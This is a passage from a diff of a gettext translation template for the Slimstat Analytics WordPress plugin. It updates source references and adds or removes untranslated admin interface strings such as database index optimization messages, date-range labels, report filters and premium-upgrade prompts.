admin\u002Findex.php:1232\n+#: admin\u002Findex.php:2134\n msgid \"SERP Position\"\n msgstr \"\"\n \n-#: admin\u002Findex.php:1232\n+#: admin\u002Findex.php:2134\n msgid \"set the filter to Referer contains cd=N&, where N is the position you are looking for\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:23\n-#, php-format\n-msgid \"There was an error retrieving the add-ons list from the server. Please try again later. Error Message: %s\"\n+#: admin\u002Findex.php:2278\n+#: admin\u002Findex.php:2303\n+#: admin\u002Findex.php:2328\n+#: admin\u002Findex.php:2353\n+#: admin\u002Findex.php:2379\n+msgid \"Index already exists.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:33\n-msgid \"There was an error decoding the add-ons list from the server. Please try again later.\"\n+#: admin\u002Findex.php:2283\n+#: admin\u002Findex.php:2308\n+#: admin\u002Findex.php:2333\n+#: admin\u002Findex.php:2358\n+#: admin\u002Findex.php:2385\n+msgid \"Index added successfully.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:38\n-msgid \"Add-ons\"\n+#: admin\u002Findex.php:2285\n+#: admin\u002Findex.php:2310\n+#: admin\u002Findex.php:2335\n+#: admin\u002Findex.php:2360\n+#: admin\u002Findex.php:2387\n+msgid \"Unable to add index or it already exists.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:39\n-msgid \"Add-ons extend the functionality of Slimstat in many interesting ways. We offer both free and premium (paid) extensions. Each add-on can be installed as a separate plugin, which will receive regular updates via the WordPress Plugins panel. In order to be notified when a new version of a premium add-on is available, please enter the \u003Cstrong>license key\u003C\u002Fstrong> you received when you purchased it.\"\n+#: admin\u002Findex.php:2409\n+msgid \"Currently Online Reports\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:42\n-#, php-format\n-msgid \"This list is refreshed once daily: \u003Ca href=\\\"%s&amp;force_refresh=true\\\" class=\\\"noslimstat\\\">click here\u003C\u002Fa> to clear the cache.\"\n+#: admin\u002Findex.php:2410\n+msgid \"Index on \u003Ccode>dt_out\u003C\u002Fcode>\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:57\n-msgid \"Add-on\"\n+#: admin\u002Findex.php:2413\n+#: admin\u002Findex.php:2422\n+#: admin\u002Findex.php:2431\n+#: admin\u002Findex.php:2440\n+#: admin\u002Findex.php:2449\n+#: admin\u002Fview\u002Findex.php:39\n+#: src\u002FComponents\u002FDateRangeHelper.php:212\n+msgid \"Apply\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:58\n-msgid \"Description\"\n+#: admin\u002Findex.php:2418\n+msgid \"World Map & Country Reports\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:69\n-msgid \"Repo Version\"\n+#: admin\u002Findex.php:2419\n+msgid \"Index on \u003Ccode>country\u003C\u002Fcode> and \u003Ccode>dt\u003C\u002Fcode>\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:69\n-msgid \"Version\"\n+#: admin\u002Findex.php:2427\n+msgid \"Screen Resolution Reports\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:80\n-msgid \"Your Version:\"\n+#: admin\u002Findex.php:2428\n+msgid \"Index on \u003Ccode>dt\u003C\u002Fcode>, \u003Ccode>screen_width\u003C\u002Fcode>, \u003Ccode>screen_height\u003C\u002Fcode>\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Faddons.php:82\n-msgid \"Installed and Active\"\n+#: admin\u002Findex.php:2436\n+msgid \"Browser Reports\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:18\n-msgid \"Dimension\"\n+#: admin\u002Findex.php:2437\n+msgid \"Index on \u003Ccode>dt\u003C\u002Fcode>, \u003Ccode>browser\u003C\u002Fcode>, \u003Ccode>browser_version\u003C\u002Fcode>\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:38\n-#: admin\u002Fview\u002Findex.php:106\n-msgid \"Apply\"\n+#: admin\u002Findex.php:2445\n+msgid \"Platform Reports\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:42\n-msgid \"Load\"\n+#: admin\u002Findex.php:2446\n+msgid \"Index on \u003Ccode>dt\u003C\u002Fcode>, \u003Ccode>platform\u003C\u002Fcode>\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:66\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:812\n-#: src\u002FModules\u002FChart.php:115\n-msgid \"Today\"\n+#: admin\u002Findex.php:2470\n+msgid \"Improve SlimStat Report Performance\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:67\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:815\n-msgid \"Yesterday\"\n+#: admin\u002Findex.php:2471\n+msgid \"To speed up SlimStat reports, please apply the following database optimizations. These changes are safe and will not affect your data.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:68\n-msgid \"Last 7 Days\"\n+#: admin\u002Findex.php:2489\n+msgid \"Apply All\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:69\n-msgid \"Last 2 weeks\"\n+#: admin\u002Findex.php:2490\n+msgid \"Do not close this tab until all optimizations are complete.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:70\n-msgid \"Last 4 weeks\"\n+#: admin\u002Findex.php:2513\n+msgid \"Please wait for SlimStat optimizations to finish.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:71\n-msgid \"Last 12 weeks\"\n+#: admin\u002Findex.php:2521\n+msgid \"In progress...\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:72\n-msgid \"Last 12 months\"\n+#: admin\u002Findex.php:2529\n+msgid \"Done!\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:73\n-msgid \"This Month\"\n+#: admin\u002Findex.php:2533\n+msgid \"Error: \"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:74\n-msgid \"Previous Month\"\n+#: admin\u002Fview\u002Faddons.php:23\n+#, php-format\n+msgid \"There was an error retrieving the add-ons list from the server. Please try again later. Error Message: %s\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:77\n-msgid \"Date Range\"\n+#: admin\u002Fview\u002Faddons.php:34\n+msgid \"There was an error decoding the add-ons list from the server. Please try again later.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:79\n-#: admin\u002Fview\u002Findex.php:80\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:94\n-msgid \"Hour\"\n+#: admin\u002Fview\u002Faddons.php:39\n+msgid \"Add-ons\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:82\n-#: admin\u002Fview\u002Findex.php:83\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:95\n-msgid \"Day\"\n+#: admin\u002Fview\u002Faddons.php:40\n+msgid \"Add-ons extend the functionality of Slimstat in many interesting ways. We offer both free and premium (paid) extensions. Each add-on can be installed as a separate plugin, which will receive regular updates via the WordPress Plugins panel. In order to be notified when a new version of a premium add-on is available, please enter the \u003Cstrong>license key\u003C\u002Fstrong> you received when you purchased it.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:85\n-#: admin\u002Fview\u002Findex.php:87\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:96\n-msgid \"Month\"\n+#: admin\u002Fview\u002Faddons.php:43\n+#, php-format\n+msgid \"This list is refreshed once daily: \u003Ca href=\\\"%s&amp;force_refresh=true\\\" class=\\\"noslimstat\\\">click here\u003C\u002Fa> to clear the cache.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:95\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:97\n-msgid \"Year\"\n+#: admin\u002Fview\u002Faddons.php:58\n+msgid \"Add-on\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:100\n-msgid \"Days in interval\"\n+#: admin\u002Fview\u002Faddons.php:59\n+msgid \"Description\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:101\n-msgid \"&plusmn; days\"\n+#: admin\u002Fview\u002Faddons.php:70\n+msgid \"Repo Version\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:101\n-msgid \"To define an interval, enter the number of days (negative to go back in time).\"\n+#: admin\u002Fview\u002Faddons.php:70\n+msgid \"Version\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:103\n-msgid \"Hours in interval\"\n+#: admin\u002Fview\u002Faddons.php:81\n+msgid \"Your Version:\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:104\n-msgid \"&plusmn; hours\"\n+#: admin\u002Fview\u002Faddons.php:83\n+msgid \"Installed and Active\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Femail-report.php:36\n+msgid \"Email Report Configuration\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Findex.php:17\n+msgid \"Dimension\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:114\n-msgid \"Reset Filters\"\n+#: admin\u002Fview\u002Findex.php:43\n+msgid \"Saved Filters\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:138\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1728\n+#: admin\u002Fview\u002Findex.php:104\n+#: admin\u002Fview\u002Findex.php:107\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1761\n #, php-format\n msgid \"GeoIP collection is not enabled. Please go to \u003Ca href='%s' class='noslimstat'>setting page\u003C\u002Fa> to enable GeoIP for getting more information and location (country) from the visitor.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:142\n+#: admin\u002Fview\u002Findex.php:112\n #, php-format\n msgid \"Install our \u003Ca href='%s' class='noslimstat'>Browscap Library\u003C\u002Fa> to identify your visitors' browser and operating system.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Findex.php:147\n+#: admin\u002Fview\u002Findex.php:117\n #, php-format\n msgid \"A caching plugin might be enabled on your website. Please \u003Ca href='%s' target='_blank' class='noslimstat'>make sure to configure\u003C\u002Fa> Slimstat Analytics accordingly, to get accurate information.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Flayout.php:8\n-msgid \"Customize and organize your reports\"\n-msgstr \"\"\n-\n-#: admin\u002Fview\u002Flayout.php:10\n+#: admin\u002Fview\u002Flayout.php:14\n msgid \"You can drag and drop the placeholders here below from one widget area to another, to customize the layout of each report screen. You can place multiple charts on the same view, clone reports or move them to the Inactive Reports if you are not interested in that specific metric.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Flayout.php:13\n+#: admin\u002Fview\u002Flayout.php:17\n msgid \"By using the network-wide customizer, all your users will see the same layout you define, and they will not be able to customize it further.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Flayout.php:23\n+#: admin\u002Fview\u002Flayout.php:27\n msgid \"Reset Layout\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Flayout.php:39\n+#: admin\u002Fview\u002Flayout.php:43\n msgid \"Clone\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Flayout.php:42\n+#: admin\u002Fview\u002Flayout.php:46\n msgid \"Delete\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Flayout.php:55\n+#: admin\u002Fview\u002Flayout.php:59\n msgid \"Move to Inactive\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fpartials\u002Fheader.php:9\n-msgid \"Go PRO\"\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:108\n+msgid \"Online Visitors\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fpartials\u002Fheader.php:10\n-msgid \"Upgrade to Pro to unlock more features\"\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:116\n+#: views\u002Fcomponents\u002Fnotification\u002Fside-bar.php:11\n+msgid \"Notifications\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fpartials\u002Fheader.php:17\n-msgid \"Pro is activated!\"\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:127\n+msgid \"Help\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:129\n+msgid \"Open help panel\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:137\n+msgid \"Premium plan active\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:143\n+msgid \"Premium\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:146\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:153\n+msgid \"Upgrade to Premium\"\n msgstr \"\"\n \n #: admin\u002Fview\u002Fpartials\u002Fslimstat-pro-modal.php:7\n@@ -1550,501 +1832,527 @@\n msgid \"Add custom columns to the User Overview widget and export file.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fpartials\u002Fslimstat-pro-modal.php:101\n-msgid \"Unlock SlimStat Pro\"\n-msgstr \"\"\n-\n-#: admin\u002Fview\u002Fright-now.php:23\n+#: admin\u002Fview\u002Fright-now.php:26\n msgid \"Human\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:23\n+#: admin\u002Fview\u002Fright-now.php:26\n msgid \"Bot\u002FCrawler\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:23\n+#: admin\u002Fview\u002Fright-now.php:26\n msgid \"Mobile Device\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:23\n+#: admin\u002Fview\u002Fright-now.php:26\n msgid \"Syndication Reader\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:49\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1087\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1443\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1501\n+#: admin\u002Fview\u002Fright-now.php:52\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1140\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1512\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1570\n msgid \"No data to display\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:77\n+#: admin\u002Fview\u002Fright-now.php:80\n msgid \"Date and Time\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:208\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1359\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1367\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1517\n+#: admin\u002Fview\u002Fright-now.php:219\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1428\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1436\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1586\n msgid \"Open this URL in a new window\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:221\n+#: admin\u002Fview\u002Fright-now.php:232\n msgid \"Local search results page\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:241\n+#: admin\u002Fview\u002Fright-now.php:261\n msgid \"Server Latency and Page Speed in milliseconds\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:241\n+#: admin\u002Fview\u002Fright-now.php:261\n msgid \"SL\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:241\n+#: admin\u002Fview\u002Fright-now.php:261\n msgid \"PS\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:248\n+#: admin\u002Fview\u002Fright-now.php:268\n msgid \"Time spent on this page\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:267\n+#: admin\u002Fview\u002Fright-now.php:287\n msgid \"Invalid Referrer\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:268\n+#: admin\u002Fview\u002Fright-now.php:288\n msgid \"Open this referrer in a new window\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:269\n+#: admin\u002Fview\u002Fright-now.php:289\n msgid \"Content Type\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:274\n+#: admin\u002Fview\u002Fright-now.php:294\n msgid \"Open this outbound link in a new window\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:283\n+#: admin\u002Fview\u002Fright-now.php:303\n msgid \"Delete this entry from the database\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:295\n+#: admin\u002Fview\u002Fright-now.php:315\n msgid \"User Logged In\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fright-now.php:306\n+#: admin\u002Fview\u002Fright-now.php:326\n msgid \"User Logged Out\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:34\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:37\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:91\n msgid \"IP Address\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:36\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:39\n msgid \"Language\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:40\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:43\n msgid \"Visitor's Username\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:41\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:44\n msgid \"Visitor's Email\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:43\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:46\n msgid \"Timezone Offset\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:44\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:47\n msgid \"Fingerprint\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:45\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:48\n msgid \"Page Speed\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:47\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:50\n msgid \"-- Advanced filters --\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:52\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1466\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:55\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1535\n msgid \"Coordinates\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:53\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:56\n msgid \"Annotations\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:54\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:57\n msgid \"Server Latency\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:59\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:62\n msgid \"Resource ID\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:60\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:63\n msgid \"Screen Width\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:61\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:64\n msgid \"Screen Height\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:62\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:65\n msgid \"Viewport Size\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:73\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:76\n msgid \"equals\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:74\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:77\n msgid \"is not equal to\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:75\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:78\n msgid \"contains\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:76\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:79\n msgid \"is included in\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:77\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:80\n msgid \"does not contain\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:78\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:81\n msgid \"starts with\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:79\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:82\n msgid \"ends with\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:80\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:83\n msgid \"sounds like\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:81\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:84\n msgid \"is greater than\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:82\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:85\n msgid \"is less than\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:83\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:86\n msgid \"is between (x,y)\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:84\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:87\n msgid \"matches\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:85\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:88\n msgid \"does not match\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:86\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:89\n msgid \"is empty\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:87\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:90\n msgid \"is not empty\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:93\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:96\n msgid \"Minute\"\n msgstr \"\"\n \n+#: admin\u002Fview\u002Fwp-slimstat-db.php:97\n+msgid \"Hour\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:98\n+msgid \"Day\"\n+msgstr \"\"\n+\n #: admin\u002Fview\u002Fwp-slimstat-db.php:99\n-msgid \"hours\"\n+msgid \"Month\"\n msgstr \"\"\n \n #: admin\u002Fview\u002Fwp-slimstat-db.php:100\n+msgid \"Year\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:102\n+msgid \"hours\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:103\n msgid \"minutes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:101\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:104\n msgid \"Timestamp\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:102\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:105\n msgid \"Exit Timestamp\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:105\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:108\n msgid \"Metric\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:106\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:109\n msgid \"Value\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:108\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:111\n msgid \"Grouped Value\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:109\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:112\n msgid \"Percentage\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:110\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:111\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:113\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:114\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:240\n msgid \"Notes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:114\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:117\n msgid \"Event ID\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:115\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:118\n msgid \"Type\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:116\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:119\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:226\n msgid \"Event Description\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:117\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:120\n msgid \"Event Coordinates\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:119\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:122\n msgid \"Max Results\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:120\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:123\n msgid \"Offset\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:790\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1071\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1020\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1322\n #: admin\u002Fview\u002Fwp-slimstat-reports.php:46\n #: admin\u002Fview\u002Fwp-slimstat-reports.php:115\n #: admin\u002Fview\u002Fwp-slimstat-reports.php:124\n msgid \"Pageviews\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:792\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1073\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1022\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1324\n msgid \"A pageview is a request to load a single HTML page on your website.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:794\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1024\n msgid \"Days in Range\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:797\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1027\n msgid \"Average Daily Pageviews\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:799\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1029\n msgid \"How many daily pageviews have been generated on average.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:801\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1031\n msgid \"From Any SERP\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:803\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1033\n msgid \"Visitors who landed on your site after searching for a keyword on a search engine and clicking on the corresponding search result link. This value includes both internal and external search result pages.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:805\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1187\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1035\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1438\n #: admin\u002Fview\u002Fwp-slimstat-reports.php:125\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:299\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:556\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:301\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:558\n msgid \"Unique IPs\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:807\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1037\n msgid \"Used to differentiate between multiple requests to download a file from one internet address (IP) and requests originating from many distinct addresses.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:809\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1039\n msgid \"Last 30 minutes\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1075\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1042\n+#: src\u002FComponents\u002FDateRangeHelper.php:199\n+#: src\u002FModules\u002FChart.php:128\n+msgid \"Today\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1045\n+#: src\u002FComponents\u002FDateRangeHelper.php:200\n+msgid \"Yesterday\"\n+msgstr \"\"\n+\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1326\n msgid \"Unique Referrers\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1077\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1328\n msgid \"A referrer (or referring site) is a site that a visitor previously visited before following a link to your site.\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1079\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1330\n msgid \"Direct Pageviews\"\n msgstr \"\"\n \n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1081\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1332\n msgid \"Visitors who typed your website URL directly into their browser address bar. It can also refer to visitors who clicked on one of their bookmarked links, untagged links within emails, or links in documents that don't include tracking variables.\"\n msgstr \"\"\n \n-#: 